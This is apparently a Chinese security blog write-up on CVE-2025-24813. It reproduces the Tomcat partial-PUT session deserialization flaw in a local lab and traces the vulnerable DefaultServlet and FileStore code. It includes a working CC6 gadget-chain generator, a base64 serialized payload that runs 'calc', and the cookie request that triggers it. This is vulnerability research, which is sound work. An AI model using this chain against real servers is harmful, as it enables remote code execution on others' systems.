CVE-2025-24813 Tomcat session 反序列化分析

受影响版本

1
2
3
9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34
11.0.0-M1 <= tomcat <= 11.0.2

漏洞条件

1
2
3
应用程序启用了DefaultServlet写入功能,该功能默认关闭
应用支持了 partial PUT 请求,能够将恶意的序列化数据写入到会话文件中,该功能默认开启
应用使用了 Tomcat 的文件会话持久化并且使用了默认的会话存储位置,需要额外配置

漏洞复现

使用的是apache-tomcat-9.0.98版本。https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98.zip

在conf/context.xml中,添加如下配置,启用session写入功能

image-20250331140829127

1
2
3
<Manager className\="org.apache.catalina.session.PersistentManager"\>  
<Store className\="org.apache.catalina.session.FileStore"/>
</Manager\>

在conf/web.xml中,关闭DefaultServlet的readonly,启用写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>

image-20250331150420385

在lib里面需要一个存在反序列化漏洞的依赖,这里选用的是cc依赖

image-20250331141741291

image-20250331152340897

生成一个恶意的序列化数据,这里使用CC6链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
System.out.println((serializeAndEncode(map2)));

}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bin.ser"));
oos.writeObject(obj);
}
public static String serializeAndEncode(Object obj) throws Exception {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream)) {
objectOutputStream.writeObject(obj);
objectOutputStream.close();

byte[] serializedBytes = byteArrayOutputStream.toByteArray();

return Base64.getEncoder().encodeToString(serializedBytes);
} catch (Exception e) {
e.printStackTrace();
throw e;
}
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

生成的数据

1
rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwdAADYWFhc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl+woepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAEc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXB0AAlnZXRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABxzcQB+ABN1cQB+ABgAAAACcHB0AAZpbnZva2V1cQB+ABwAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXEAfgAYAAAAAXQABGNhbGN0AARleGVjdXEAfgAcAAAAAXEAfgAfc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AANiYmJ4

使用put方法发送相关的base64 decode之后的payload

image-20250331153647951

在\work\Catalina\localhost\ROOT 路径下可以发现被decode的序列化数据

image-20250331153723565

等待一段时间触发,或者使用下列数据包触发

1
2
3
GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.asal1n

image-20250331153814529

漏洞分析

配置tomcat的调试环境

参考 idea本地调式tomcat源码 - TJ_WaTer - 博客园

配置相关的调试代码

关注 org.apache.catalina.servlets.DefaultServlet的doPUT方法

image-20250331200615304

首先通过

1
Range range = this.parseContentRange(req, resp);

获取到请求头中的Content-Range,获取不到就返回IGNORE,否则返回相关的range值

随后存在判断,如果range不是ignore,就会调用到executePartialPut方法

image-20250331201058818

首先将我们传入的/转化为. 然后尝试保存到一个临时目录下,我这里是

1
C:\Users\lenovo\AppData\Local\JetBrains\IntelliJIdea2023.2\tomcat\b1d57611-a3fb-4c83-9b0b-74ac129e48ba\work\Catalina\localhost\ROOT

image-20250331201549540

当用户使用相关的session去访问服务的时候 会触对应的load方法

FileStore会自动的去临时文件夹下寻找名字为id.session的文件并且进行反序列化操作,这就触发了反序列化